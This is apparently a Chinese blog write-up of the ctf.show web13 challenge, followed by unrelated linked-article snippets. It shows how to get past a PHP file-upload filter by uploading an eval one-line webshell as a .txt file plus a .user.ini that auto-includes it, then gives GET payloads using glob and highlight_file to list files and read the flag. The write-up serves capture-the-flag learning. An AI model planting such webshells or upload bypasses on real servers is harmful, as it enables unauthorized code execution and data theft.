[WEB13] ctf.show_web13
[WEB13] ctf.show_web13
.user.ini绕过
文件上传的要求:
文件的大小要小于24,并且对名字的,后缀的长度都有要求,后缀和名字都不可以包含php的情况下,需要上传一句话木马,小于等于24的格式可以写:
<?php eval($_POST[a]);
但是如果写成txt的后缀,会由于后缀问题服务器无法解释该php语句
- 一句话木马写入txt

- 上传.user.ini文件

在php中".user.ini"有如下解释:
php会在每个目录下搜寻文件名,如果设定为空字符串则php不会搜寻,也就是在“.user.ini”中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。
- 上传txt文件
此处一句话木马使用了GET的方式,而GET方式可以成功连接蚁剑,但是没有权限进行操作,为什么不使用POST呢?因为使用GET方式的payload全都不可连接,并且因为好奇经过了以下的测试:

结论: 我猜测蚁剑探测上传会探测是否是POST方式,使用POST方式对cmd传入eval执行一个随机生成的POST变量名的值base64解码,并且获得了相应的响应,但是GET方式不符合这个流程。
具体推荐查看此文章:[关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)](https://www.cnblogs.com/Article-kelp/p/14704975.html#:~:text=可以看到蚁剑使用了,POST方式 对cmd传入eval执行一个随机生成的POST变量名的值base64解码,并且获得了相应的响应,便有了蚁剑绿色框显示的连接成功。)
- “在“.user.ini”中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。"
所以可以使用GET方式在任何一个页面执行php代码,配合print_r(),glob()和heiglight_file()函数
- Print_r() 打印变量
- Glob() 返回一个包含匹配指定模式的文件名或目录的数组
- highlight_file() 显示文件前端
payload:?c=print_r(glob("*"));

payload: ?c=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

题目结束 以上是我的个人见解
欢迎指正 互相交流
[WEB13] ctf.show_web13的更多相关文章
- ctf.show_web13(文件上传之.user.ini)
这是一道文件上传题,先二话不说丢个图片码,显示为 先考虑文件太小,用burp抓包,添加了一堆无用的东西后显示仍然是error file zise,直到上传正常图片依旧如此,考虑文件太大.将一句话木马修 ...
- 个人CTF资源聚合
i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...
- 暑假CTF训练一
暑假CTF训练一 围在栅栏中的爱 题目: 最近一直在好奇一个问题,QWE到底等不等于ABC? -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- ...
- Sharif University CTF 2016 -- Login to System (PWN 200)
EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...
- 入CTF坑必不可少的地方-保持更新
0x00 前言 没有交易,没有买卖,没有排名,纯属分享:p 0x01 CTF介绍 CTF领域指南CTF介绍大全CTF赛事预告 0x02 CTF练习 BIN:reversingpwnableexploi ...
- v0lt CTF安全工具包
0×00 v0lt v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具.实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这 ...
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- Security Tools (Contain CTF tools)
From now on I will start to have fun with CTF and other security games or challenges. And I am going ...
- 隐写-CTF中图片隐藏文件分离方法总结
0x00 前言 在安全的大趋势下,信息安全越来越来受到国家和企业的重视,所以CTF比赛场次越来越多,而且比赛形式也不断的创新,题目也更加新颖有趣,对选手的综合信息安全能力有一个较好的考验,当然更好的是 ...
- 如何在CTF中当搅屎棍
论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目. 我很赞成phithon神的一句话,"比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉 ...
随机推荐
- Python的入门学习之 Day 7——from“夜曲编程”
Day 7 time: 2021.8.4. 今天主要将"if-else"再扩展, 得到"if-elif-else"模型.它与"if-else" ...
- 07 从RDD创建DataFrame
1.pandas df 与 spark df的相互转换 df_s=spark.createDataFrame(df_p) df_p=df_s.toPandas() 2. Spark与Pandas中Da ...
- JDBC与JPA--初学JPA
最近工程中用到JPA,头一次接触,踩了不少坑.刚好复习到JDBC,发现JPA用起来真是很简单.就对比一下这两者的区别 总结:JDBC是更接近数据库SQL的抽象,使用时依然使用的是SQL.优点是靠近 ...
- C#MSDN简体中文 最后一版本 2007年的
我在学习C# 需要 先看 MSDN文档,英文看的很吃力,就找了好久 MSDN简体中文版本的: 因为微软已经关闭网站(MSDN中文的链接),我找到的就是 磁力链接的: 我分享出来 ,有需要的 自行下载 ...
- Linux系统管理实战-进程管理
进程管理 了解进程 状态/生命周期 查看进程 管理进程 kill killall pkill 进程的调度 进程的nice 了解进程状态/生命周期 什么是进程? 进程的状态? 进程的生命周期? 查看进程 ...
- @Resource 和@Autowired注解
@Autowired注解是根据属性进行注入,例如BaseDAO,BaseDAOImpl继承BaseDAO,可以根据BaseDAO类型进行注入 @Resource 注解是根据属性和名称进行注入,比如Ba ...
- 线上Java调优-Arthas入门
1.SSH连接目标主机,找到对应容器ID docker ps | grep eam 2.进入容器,并启用bash docker exec -it 01c6ab243ff4 /bin/bash 3.按A ...
- 使用 Transformers 在你自己的数据集上训练文本分类模型
最近实在是有点忙,没啥时间写博客了.趁着周末水一文,把最近用 huggingface transformers 训练文本分类模型时遇到的一个小问题说下. 背景 之前只闻 transformers 超厉 ...
- Matlab %补充---用的多的函数
Input promat = 'This is a sentence.' x = input(prompt) %显示prompt中的文本并等待用户输入数值或者表达式后按Return %如果用户什么都 ...
- 004Java的一些基本概念
004Java的一些基本概念 1.Java特性和优势 Java至少具有以下特性: 简单性(没有头文件.没有指针运算.也没有分配内存等操作) 面向对象(万物皆对象) 可移植性(一次编写,到处运行 Wri ...